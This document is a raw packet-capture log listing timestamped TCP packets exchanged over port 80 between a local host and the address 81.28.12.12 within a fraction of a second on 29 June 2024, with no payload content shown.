Jun 29, 2024 08:05:18.218537092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.218543053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.218569994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.218590021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.218621016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.218653917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.218667984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.218688011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.218735933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.218739033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.218775034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.218807936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.218825102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.218842030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.218873024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.218885899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.218934059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.218985081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.218987942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.219017982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.219064951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.219064951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.219098091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.219115973 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.219130993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.219163895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.219166040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.219208956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.219217062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.219252110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.219285011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.219297886 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.219319105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.219352007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.219362020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.219388008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.219424963 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.229712009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.229820967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.229859114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.229876995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.229895115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.229911089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.229928017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.230082035 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.230104923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.230137110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.230171919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.230186939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.230206013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.230257988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.230258942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.230290890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.230324984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.230343103 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.230376959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.230410099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.230424881 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.230443001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.230477095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.230492115 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.230509043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.230544090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.230555058 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.230856895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.230890036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.230916023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.230921984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.230956078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.230971098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.230988979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.231018066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.231034994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.231069088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.231117964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.231120110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.231153011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.231187105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.231206894 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.231220007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.231254101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.231267929 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.231301069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.231337070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.231355906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.231374025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.231408119 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.231421947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.231440067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.231473923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.231488943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.231507063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.231539965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.231553078 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.231573105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.231604099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.231623888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.231654882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.231688023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.231702089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.231739044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.231772900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.231787920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.231806993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.231848001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.231858015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.231909037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.231942892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.231966972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.231976032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.232012033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.232022047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.232042074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.232075930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.232088089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.232111931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.232122898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.232146025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.232180119 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.232211113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.232245922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.232245922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.232276917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.232279062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.232295990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.232331991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.232362986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.232414961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.232417107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.232449055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.232500076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.232503891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.232547045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.232580900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.232597113 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.232611895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.232645988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.232659101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.232678890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.232713938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.232723951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.232743025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.232789993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.233238935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.233292103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.233325005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.233349085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.233371973 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.233376980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.233409882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.233442068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.233474970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.233490944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.233520985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.235790014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.235841990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.235874891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.235927105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.235935926 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.235960960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.235995054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.236006975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.236028910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.236078024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.308223963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.308259964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.308295965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.308342934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.308342934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.308386087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.308418036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.308451891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.308497906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.308500051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.308556080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.308566093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.308589935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.308603048 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.308624029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.308629036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.308676958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.308689117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.308722019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.308727980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.308773041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.308773041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.308808088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.308840036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.308856964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.308892965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.308897018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.308926105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.308939934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.308962107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.308969021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.308991909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.309019089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.309025049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.309045076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.309076071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.309077024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.309118032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.309135914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.309151888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.309168100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.309184074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.309200048 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.309217930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.309228897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.309250116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.309268951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.309284925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.309288979 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.309319019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.309330940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.309353113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.309356928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.309395075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.319381952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.319415092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.319448948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.319502115 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.319514990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.319561958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.319595098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.319628954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.319642067 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.319662094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.319695950 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.319695950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.319717884 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.319730997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.319747925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.319780111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.319789886 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.319832087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.319864035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.319880962 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.319896936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.319907904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.319931030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.319942951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.319964886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.319973946 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.319998026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.320009947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.320031881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.320043087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.320070982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.320079088 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.320117950 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.320152044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.320204020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.320205927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.320238113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.320254087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.320266962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.320282936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.320298910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.320308924 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.320333004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.320344925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.320380926 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.320386887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.320419073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.320432901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.320462942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.320470095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.320518970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.320538044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.320570946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.320585012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.320604086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.320612907 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.320638895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.320647001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.320672035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.320681095 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.320715904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.320718050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.320749998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.320755959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.320781946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.320791006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.320816040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.320827007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.320848942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.320858955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.320883036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.320890903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.320915937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.320924997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.320949078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.320952892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.320981979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.320988894 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.321017027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.321022987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.321060896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.321345091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.321377039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.321400881 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.321408987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.321419954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.321449995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.321532011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.321579933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.321582079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.321615934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.321624994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.321649075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.321661949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.321682930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.321717978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.321717978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.321746111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.321778059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.321793079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.321810961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.321821928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.321846008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.321856976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.321886063 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.321896076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.321938038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.321948051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.321980953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.321995020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.322015047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.322024107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.322047949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.322067976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.322082043 CEST	80	49731	81.28.12.12	192.168.2.4
